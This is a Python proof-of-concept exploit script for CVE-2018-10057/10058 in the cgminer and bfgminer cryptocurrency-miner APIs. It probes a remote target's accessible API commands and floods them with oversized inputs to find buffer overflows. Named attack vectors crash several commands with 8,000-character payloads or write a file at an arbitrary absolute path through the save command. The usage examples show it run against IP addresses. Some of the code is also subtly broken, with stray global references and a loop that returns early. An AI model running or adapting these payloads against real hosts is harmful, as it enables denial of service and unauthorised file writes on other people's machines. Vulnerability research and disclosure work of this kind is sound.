#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# github.com/tintinweb
#
# CVE-2018-10057
# CVE-2018-10057
#
# 	Ref:          https://github.com/tintinweb/pub/tree/master/pocs/cve-2018-10057
# 	              https://github.com/tintinweb/pub/tree/master/pocs/cve-2018-10058
'''

API CMDs bfgminer (https://github.com/luke-jr/bfgminer/blob/adfcccdab3d196df7d79df6604f1965ee6e0afb4/api.c)

'''

CMDDEF_BFGMINER = """
	{ "version",		apiversion,	false,	true },
	{ "config",		minerconfig,	false,	true },
	{ "devscan",		devscan,	true,	false },
	{ "devs",		devstatus,	false,	true },
	{ "procs",		devstatus,	false,	true },
	{ "pools",		poolstatus,	false,	true },
	{ "summary",		summary,	false,	true },
#ifdef USE_OPENCL
	{ "gpuenable",		gpuenable,	true,	false },
	{ "gpudisable",		gpudisable,	true,	false },
	{ "gpurestart",		gpurestart,	true,	false },
	{ "gpu",		gpudev,		false,	false },
#endif
#ifdef HAVE_AN_FPGA
	{ "pga",		pgadev,		false,	false },
	{ "pgaenable",		pgaenable,	true,	false },
	{ "pgadisable",		pgadisable,	true,	false },
	{ "pgarestart",		pgarestart,	true,	false },
	{ "pgaidentify",	pgaidentify,	true,	false },
	{ "proc",		pgadev,		false,	false },
	{ "procenable",		pgaenable,	true,	false },
	{ "procdisable",		pgadisable,	true,	false },
	{ "procidentify",	pgaidentify,	true,	false },
#endif
#ifdef USE_CPUMINING
	{ "cpuenable",		cpuenable,	true,	false },
	{ "cpudisable",		cpudisable,	true,	false },
	{ "cpurestart",		cpurestart,	true,	false },
	{ "cpu",		cpudev,		false,	false },
#endif
	{ "gpucount",		gpucount,	false,	true },
	{ "pgacount",		pgacount,	false,	true },
	{ "proccount",		pgacount,	false,	true },
	{ "cpucount",		cpucount,	false,	true },
	{ "switchpool",		switchpool,	true,	false },
	{ "addpool",		addpool,	true,	false },
	{ "poolpriority",	poolpriority,	true,	false },
	{ "poolquota",		poolquota,	true,	false },
	{ "enablepool",		enablepool,	true,	false },
	{ "disablepool",	disablepool,	true,	false },
	{ "removepool",		removepool,	true,	false },
#ifdef USE_OPENCL
	{ "gpuintensity",	gpuintensity,	true,	false },
	{ "gpumem",		gpumem,		true,	false },
	{ "gpuengine",		gpuengine,	true,	false },
	{ "gpufan",		gpufan,		true,	false },
	{ "gpuvddc",		gpuvddc,	true,	false },
#endif
	{ "save",		dosave,		true,	false },
	{ "quit",		doquit,		true,	false },
	{ "privileged",		privileged,	true,	false },
	{ "notify",		notify,		false,	true },
	{ "procnotify",		notify,		false,	true },
	{ "devdetails",		devdetail,	false,	true },
	{ "procdetails",		devdetail,	false,	true },
	{ "restart",		dorestart,	true,	false },
	{ "stats",		minerstats,	false,	true },
	{ "check",		checkcommand,	false,	false },
	{ "failover-only",	failoveronly,	true,	false },
	{ "coin",		minecoin,	false,	true },
	{ "debug",		debugstate,	true,	false },
	{ "setconfig",		setconfig,	true,	false },
#ifdef HAVE_AN_FPGA
	{ "pgaset",		pgaset,		true,	false },
	{ "procset",		pgaset,		true,	false },
#endif
	{ "zero",		dozero,		true,	false },
	{ NULL,			NULL,		false,	false }
"""

CMDDEF_CGMINER ="""} cmds[] = {
	{ "version",		apiversion,	false,	true },
	{ "config",		minerconfig,	false,	true },
	{ "devs",		devstatus,	false,	true },
	{ "edevs",		edevstatus,	false,	true },
	{ "pools",		poolstatus,	false,	true },
	{ "summary",		summary,	false,	true },
#ifdef HAVE_AN_FPGA
	{ "pga",		pgadev,		false,	false },
	{ "pgaenable",		pgaenable,	true,	false },
	{ "pgadisable",		pgadisable,	true,	false },
	{ "pgaidentify",	pgaidentify,	true,	false },
#endif
	{ "pgacount",		pgacount,	false,	true },
	{ "switchpool",		switchpool,	true,	false },
	{ "addpool",		addpool,	true,	false },
	{ "poolpriority",	poolpriority,	true,	false },
	{ "poolquota",		poolquota,	true,	false },
	{ "enablepool",		enablepool,	true,	false },
	{ "disablepool",	disablepool,	true,	false },
	{ "removepool",		removepool,	true,	false },
	{ "save",		dosave,		true,	false },
	{ "quit",		doquit,		true,	false },
	{ "privileged",		privileged,	true,	false },
	{ "notify",		notify,		false,	true },
	{ "devdetails",		devdetails,	false,	true },
	{ "restart",		dorestart,	true,	false },
	{ "stats",		minerstats,	false,	true },
	{ "estats",		minerestats,	false,	true },
	{ "check",		checkcommand,	false,	false },
	{ "failover-only",	failoveronly,	true,	false },
	{ "coin",		minecoin,	false,	true },
	{ "debug",		debugstate,	true,	false },
	{ "setconfig",		setconfig,	true,	false },
	{ "usbstats",		usbstats,	false,	true },
#ifdef HAVE_AN_FPGA
	{ "pgaset",		pgaset,		true,	false },
#endif
	{ "zero",		dozero,		true,	false },
	{ "hotplug",		dohotplug,	true,	false },
#ifdef HAVE_AN_ASIC
	{ "asc",		ascdev,		false,	false },
	{ "ascenable",		ascenable,	true,	false },
	{ "ascdisable",		ascdisable,	true,	false },
	{ "ascidentify",	ascidentify,	true,	false },
	{ "ascset",		ascset,		true,	false },
#endif
	{ "asccount",		asccount,	false,	true },
	{ "lcd",		lcddata,	false,	true },
	{ "lockstats",		lockstats,	true,	true },
	{ NULL,			NULL,		false,	false }
};"""

import logging
import json
import argparse
import socket
import re


LOGGER = logging.getLogger(__name__)


class MinerApi(object):

    def __init__(self, apidef, target):
        self.api = MinerApi.parse_commands(apidef)
        self.sock = None
        self.target = target
        self.capabilities = {}

    def connect(self, timeout=15):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(timeout)
        return self.sock.connect(self.target)

    def close(self):
        if self.sock:
            self.sock.close()

    def sendRcv(self, msg, chunksize=4096*2):
        LOGGER.debug("sendRcv: %r" % msg)
        self.sock.sendall(msg)
        chunks = []
        chunk = None
        while chunk is None or len(chunk)==chunksize:
            chunk = self.sock.recv(chunksize)
            chunks.append(chunk)
        return "".join(chunks)

    def sendJson(self, cmd, *args):
        self.connect()
        ret = {}
        try:
            ret = self.sendRcv(json.dumps({"command":cmd,
                                           "parameter":'|'.join(args)})+"\n").replace("\x00","").strip()
            ret = json.loads(ret.strip())
        except Exception, e:
            LOGGER.debug(repr([cmd,args]))
            LOGGER.debug(ret)
            LOGGER.error(repr(e))
            ret = {}
        finally:
            self.close()
        return ret

    def sendPlain(self, cmd, *args):
        self.connect()
        ret ={}
        cmd, response= self.sendRcv("%s|%s\n"%(cmd, '|'.join(args))).strip().split("|",1)
        ret["cmd"] =cmd.split("=",1)[1]
        for param in response.split(","):
            if not len(param.replace("\x00","").strip()):
                continue
            if "=" in param:
                k,v = param.split("=",1)
            else:
                k=param
                v=None
            ret[k]=v

        self.close()
        return ret

    def get_capabilities(self, exist=None, accessible=None):
        if not self.capabilities:
            try:
                self._get_capabilities()
            except:
                self._get_capabilities_alternative()

        # check unavailable, simulate it
        for c in m.api.keys():

            if exist is None and accessible is None:
                return self.capabilities
            filtered = {}
            if exist is not None:
                exist = "Y" if exist else "N"
            if accessible is not None:
                accessible = "Y" if accessible else "N"

            for cmd, cap in self.capabilities.iteritems():
                if (exist is not None and cap["Exists"] == exist) and \
                        (accessible is not None and cap["Access"] == accessible):
                    filtered[cmd] = cap
            return filtered

    def _get_capabilities(self):
        # probe capbs
        for c in m.api.keys():
            resp = m.sendJson("check",c)
            LOGGER.debug("response: %r %r"%(c,resp))
            self.capabilities[c]=resp["CHECK"][0]
        return self.capabilities

    def _get_capabilities_alternative(self):
        for c in m.api.keys():
            if c in ("quit","restart"):
                LOGGER.debug("skipping: %s <-- blacklisted"%c)
                continue
            resp = m.sendJson(c)
            LOGGER.debug("response: %r %r" % (c, resp))
            if not resp:
                continue
            self.capabilities[c]={"Access":'N' if resp["STATUS"][0].get("Code",-1) in (14,45,) else "Y",
                                  "Exists":'N' if resp["STATUS"][0].get("Code",-1) in (14,45,) else "Y"}

    @staticmethod
    def parse_commands(cmddef):
        ret = {}
        for name,f,writ,join in re.findall("\{\s*\"([^\"]+)\",s*([^,]+),s*([^,]+),s*([^,]+) \}", cmddef):
            ret[name.strip()] = {'func':f.strip(),'writeable':writ.strip(),'joinable':join.strip()}
        return ret


if __name__ == "__main__":
    logging.basicConfig(format='[%(filename)s - %(funcName)20s() ][%(levelname)8s] %(message)s',
                        loglevel=logging.DEBUG)
    LOGGER.setLevel(logging.DEBUG)

    usage = """poc.py [options]

                  example: poc.py [options] <target> [<target>, ...]

                  options:
                           --no-capabilities    ...   do not check for supported commands [default:False]
                           --havoc              ...   probe all commands for buffer overflow
                           --vector=<vector>    ...   <see vectors> - launch specific attack vector

                  vector   ...  crash_addpool   ...   crash addpool command
                                crash_failover  ...   crash failover-only command
                                crash_poolquota ...   crash poolquota command
                                crash_save      ...   crash save command
                                traverse_save   ...   path traversal in save command

                  target   ... <IP, FQDN:port>

                           #> poc.py 1.1.1.1:4028
                           #> poc.py 1.2.3.4:4028
                           #> poc.py --vector=crash_addpool 1.1.1.1:4028
                           #> poc.py --havoc 1.1.1.1:4028


                  To reproduce launch cgminer in this mode:
                  #> ./cgminer -D --url ltc-eu.give-me-coins.com:3334 --api-listen -T -u a -p a --api-allow 0/0

               """

    parser = argparse.ArgumentParser(usage=usage)
    parser.add_argument("-m", "--vector",
                        dest="vector", default="method",
                        help="vulnerablevectors [default: method]")
    parser.add_argument("-C", "--no-capabilities",
                        action="store_false", dest="capabilities", default=True,
                        help="test for capabilities [default: True]")
    parser.add_argument("-x", "--havoc",
                        action="store_true", dest="havoc", default=False,
                        help="probe for buffer overflow - all commands [default: False]")
    parser.add_argument("targets", nargs="+")

    options = parser.parse_args()
    LOGGER.info("--start--")
    LOGGER.info("# CGMiner / BFGMiner exploit")
    LOGGER.info("# github.com/tintinweb")

    for target in options.targets:
        target = target.strip().split(":")
        target[1]=int(target[1])
        target = tuple(target)

        m = MinerApi(CMDDEF_CGMINER+CMDDEF_BFGMINER, target)
        LOGGER.info("[i] about to check for the following commands: %r" % m.api.keys())
        if options.capabilities:
            LOGGER.info("[+] Capabilities: %r" % m.get_capabilities(exist=True, accessible=True).keys())
        if options.havoc:
            for cmd, cap in m.get_capabilities(exist=True, accessible=True).iteritems():
                LOGGER.debug("[+] testing for cmd: %s" % cmd)
                if cmd in ("quit","restart"):
                    LOGGER.warning("[!] skipping: %s <-- blacklisted" % cmd)
                    continue
                ret = m.sendJson(cmd,"\""*100000)
                ret = m.sendJson(cmd, "=" * 100000)
                ret = m.sendJson(cmd, "\\" * 100000)
               # m.sendPlain(cmd, "\\" * 10000)
                if ret:
                    del(ret["STATUS"])
                    del(ret['id'])
                LOGGER.info("%-30s %r"%(cmd, ret))

        try:
            if options.vector == "crash_addpool":
                m.sendPlain("addpool","="*8000)  # crash
            elif options.vector == "crash_save":
                m.sendPlain("save","="*8000)  # crash
            elif options.vector == "crash_failover":
                print m.sendPlain("failover-only","="*8000) # crash
            elif options.vector == "crash_poolquota":
                print m.sendPlain("poolquota","="*8000) # crash
        except Exception as e:
            LOGGER.error(repr(e))
            LOGGER.warning("[!!!] Remote host died :/")

        if options.vector == "traverse_save":
            print m.sendJson("save","/tmp/pwnd.file") # abs path traversal

        LOGGER.info("--done--")